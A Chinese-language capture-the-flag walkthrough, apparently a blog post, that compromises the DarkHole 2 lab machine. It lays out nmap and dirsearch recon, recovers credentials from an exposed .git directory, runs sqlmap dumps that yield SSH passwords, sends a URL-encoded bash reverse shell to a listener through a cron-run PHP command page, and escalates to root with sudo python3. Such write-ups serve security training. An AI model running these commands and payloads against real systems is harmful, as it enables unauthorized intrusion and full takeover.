信息收集阶段
1,1 收集IP信息
使用命令:arp-scan -l
或者使用:nmap -T5 192.168.137.0/24
得到IP为:192.168.137.175
,并且获取开放的服务:22,80
使用nmap
扫描该ip
端口获得一些关键的信息192.168.137.175:80/.git/
网页存在.git
信息泄露。
识别CMS
使用命令:cmseek -u http://192.168.137.175
或者使用:whatweb -v http://192.168.137.175
发现网站似乎并没有使用CMS
系统。
目录扫描
使用dirsearch
等目录扫描工具对web站点的目录进行目录扫描
python ./dirsearch -u http://192.168.137.175
[12:42:01] 200 - 3KB - /.git/
[12:42:01] 200 - 41B - /.git/COMMIT_EDITMSG
[12:42:01] 200 - 130B - /.git/config
[12:42:01] 200 - 73B - /.git/description
[12:42:01] 200 - 23B - /.git/HEAD
[12:42:01] 200 - 4KB - /.git/hooks/
[12:42:02] 200 - 1KB - /.git/index
[12:42:03] 200 - 240B - /.git/info/exclude
[12:42:03] 200 - 950B - /.git/info/
[12:42:03] 200 - 1KB - /.git/logs/
[12:42:03] 200 - 554B - /.git/logs/HEAD
[12:42:03] 301 - 327B - /.git/logs/refs -> http://192.168.137.175/.git/logs/refs/
[12:42:03] 200 - 554B - /.git/logs/refs/heads/master
[12:42:03] 200 - 6KB - /.git/objects/
[12:42:03] 200 - 41B - /.git/refs/heads/master
[12:42:03] 301 - 328B - /.git/refs/heads -> http://192.168.137.175/.git/refs/heads/
[12:42:03] 301 - 333B - /.git/logs/refs/heads -> http://192.168.137.175/.git/logs/refs/heads/
[12:42:03] 200 - 1KB - /.git/refs/
[12:42:04] 301 - 327B - /.git/refs/tags -> http://192.168.137.175/.git/refs/tags/
[12:42:11] 200 - 1KB - /.idea/
[12:42:11] 301 - 318B - /.idea -> http://192.168.137.175/.idea/
[12:42:13] 200 - 279B - /.idea/modules.xml
[12:42:13] 200 - 2KB - /.idea/workspace.xml
[12:46:59] 301 - 319B - /config -> http://192.168.137.175/config/
[12:47:04] 200 - 945B - /config/
[12:47:41] 200 - 11B - /dashboard.php
[12:49:37] 200 - 933B - /js/
[12:50:02] 200 - 1KB - /login.php
漏洞利用阶段
2.1 .git信息泄露
在使用目录扫描和nmap扫描的时候都发现了网页存在.git
文件。
通过使用GitHack.py工具可以对.git
恢复源码的信息
python2 ./GitHack.py -u http://192.168.137.175/.git/
cd dist
cd 192.168.137.175
get log:查看日志修改信息
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
获取账号密码
如何利用这个账号密码?
- 代码中出现
REQUEST_POST
说明是Web的请求。 - 网页中存在一个
login
页面。 - 直接登录即可。
2.2 SQL注入
在这个页面乍一看貌似没什么可利用的地方:
但是在URL
的地方可以看到一个很奇怪的参数,这个跟SQL注入
的参数很类似:http://192.168.137.175/dashboard.php?id=1
使用sqlmap
梭哈。
- 爆破是否存在SQL注入
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk"
- 获取所有数据库
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" --dbs
- 选择数据库,获取该数据库下的所有数据表
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" -D darkhole_2 --tables
- 选择数据库与表,获取表下的所有字段
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" -D darkhole_2 -T ssh --dump
获得一个用户的ssh
登录账密:账号:jehad 密码:fool
2.3 后渗透
登录之后在/var/www/html
目录下转了一圈,并没有发现flag
,回到/home/jehad
,发现自己命令下存在一个文件:.bash_history
小tips:拥有 /bin/bash 作为登录 shell 的用户在执行命令时,通常会在他们的用户目录下生成一个 .bash_history 文件,用于记录他们输入的命令历史。
查询拥有/bin/bash
的用户:grep -E -o '^([^:]+:){6}(/[^:]+)*bash$' /etc/passwd
还有三个用户拥有这个命令,但是肯定是没有权限访问的,查询自己的历史命令。
在历史命令中,不难看出当前的jehad
用户在尝试添加免密登录,可能在设置后门,(感觉这个用户有点不正常奥,
但是通过对这些文件的查询得知,好像并不存在这些文件。
发现一条命令:ssh -L 127.0.0.1:9999:192.168.135.129:9999 jehad@192.168.135.129
这是一条SSH端口转发的命令
这条命令是指在本地监听监听了一个9999端口,并将该端口的流量通过SSH的方式转发给了服务器192.168.135.129。
如果在192.168.135.129服务器上正在运行一个SSH服务并且正在监听9999端口、jehad用户成功登录的前提下。
那么通过这个命令就可以在本地主机上的9999端口将会连接到192.168.135.129的9999端口
这步我不是很会利用,根据师傅们的复现都没成功,个人能力问题,将这个靶场完成之后去了解了解… …
在历史命令中看到了这几个关键命令:
cat /etc/crontab
cd /opt/web
curl http://127.0.0.1:9999/?cmd=id
在/etc/crontab
中可以看到* * * * * losy cd /opt/web && php -S localhost:9999
在cat /opt/web/index.php
中可以看到,当前页面需要接受一个cmd的参数,并且会将值传输到system中执行。
计划任务在/opt/web目录下启动了一个php的服务器,并且将服务器监听在本地的9999端口,在127.0.0.1:9999?cmd=command
输入的命令会被解析执行。
在Kali机监听端口:
nc -lvvp 8888
在使用jehad账号登录ssh的机器上输入命令(需要将payload进行url编码):
curl "http://127.0.0.1:9999/?cmd=%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.130%2F8888%200%3E%261'"
在使用 curl 或其他网络工具发送请求时,如果 URL 中包含特殊字符或保留字符(如空格、&、?、= 等),这些字符可能会被错误地解析或干扰请求的正确性。为了确保 URL 在传输过程中不被误解释、不丢失字符,以及能够正确地被服务器识别,需要进行 URL 编码。
成功获得shell,切换到losy
用户目录,输入命令ll
,发现user.txt
cat user.txt
发现flag
这个都不重要,重要的是查看.bash_history
这个文件才是我们需要关注的地方。
可以发现这几段关键命令:
password:gang
sudo python3 -c 'import os; os.system("/bin/sh")'
2.4 提权
losy用户使用sudo命令,猜测losy用户可能可以使用sudo命令,使用ssh进行连接:ssh losy@192.168.137.175
使用命令:sudo -l
losy
用户可以以root的身份运行Python3,使用历史命令即可进行提权:sudo python3 -c 'import os; os.system("/bin/sh")'
剩下的flag就不找哩,已经拿到root了,已经能对服务器为所欲为了。。。